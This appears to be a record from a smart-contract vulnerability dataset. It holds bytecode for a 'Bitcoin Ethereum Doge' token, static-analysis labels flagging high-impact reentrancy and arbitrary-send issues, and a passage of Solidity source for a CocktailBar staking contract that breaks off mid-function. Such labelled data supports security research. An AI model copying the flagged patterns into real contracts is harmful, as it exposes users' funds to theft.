08061056490613395565b9150506104b8565b5050565b60606040518060400160405280601581526020017f426974636f696e20457468657265756d20446f67650000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4245440000000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b83237e89b1d67d29e1c940eb381d3f1491fa9035e63617eea2dc6d9c3e0c58564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,480 |
0x3db81b498043c7b343187e51887a7e2e035a1f3d
|
/**
*Submitted for verification at Etherscan.io on 2021-02-27
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
// ----------------------------------------------------------------------------
// CocktailBar Stake COCETH to earn MOJITO
// Enter our universe : cocktailbar.finance
//
// Come join the disscussion: https://t.me/cocktailbar_discussion
//
// Sincerely, Mr. Martini
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// TRC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface COC {
function balanceOf(address _owner) view external returns (uint256 balance);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success);
function approve(address _to, uint256 _amount) external returns (bool success);
}
interface MOJITO {
function balanceOf(address _owner) view external returns (uint256 balance);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success);
function approve(address _to, uint256 _amount) external returns (bool success);
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract StakeCOCETH is Owned, ReentrancyGuard {
using SafeMath for uint256;
uint256 private TotalMRewards;
uint256 public WeekRewardPercent = 100;
uint256 public TotalStakedETH = 0;
uint256 StakingFee = 10; // 1.0%
uint256 UnstakingFee = 30; // 3.0%
uint256 private TeamFeesCollector = 0;
address public stakeTokenAdd = 0x39FB7AF42ef12D92A0d577ca44cd54a0f24c4915;
address constant public rewardToken = 0xda579367c6ca7854009133D1B3739020ba350C23;
uint256 public creationTimeContract;
struct USER{
uint256 stakedAmount;
uint256 creationTime;
uint256 TotalMRewarded;
uint256 lastClaim;
uint256 MyTotalStaked;
}
mapping(address => USER) public stakers;
mapping(address=>uint256) public amounts; // keeps record of each reward payout
uint256[] private rewardperday = [51063829790000000000,51063829790000000000,51063829790000000000,51063829790000000000,51063829790000000000,44680851060000000000,44680851060000000000,44680851060000000000,44680851060000000000,44680851060000000000,38297872340000000000,38297872340000000000,38297872340000000000,38297872340000000000,38297872340000000000,31914893620000000000,31914893620000000000,31914893620000000000,31914893620000000000,31914893620000000000,25531914890000000000,25531914890000000000,25531914890000000000,25531914890000000000,25531914890000000000,25531914890000000000,25531914890000000000,25531914890000000000,25531914890000000000,25531914890000000000,19148936170000000000,19148936170000000000,19148936170000000000,19148936170000000000,19148936170000000000,19148936170000000000,19148936170000000000,19148936170000000000,19148936170000000000,19148936170000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,12765957450000000000,6382978723000000000,6382978723000000000,6382978723000000000,6382978723000000000,6382978723000000000];
event STAKED(address staker, uint256 tokens, uint256 StakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 UnstakingFee);
event CLAIMEDREWARD(address staker, uint256 reward);
event PERCENTCHANGED(address operator, uint256 percent);
event FkTake(uint256 amount);
event JkTake(uint256 amount);
constructor() {
creationTimeContract = block.timestamp;
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external nonReentrant returns(bool){
require(COC(stakeTokenAdd).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = (onePercentofTokens(tokens).mul(StakingFee)).div(10);
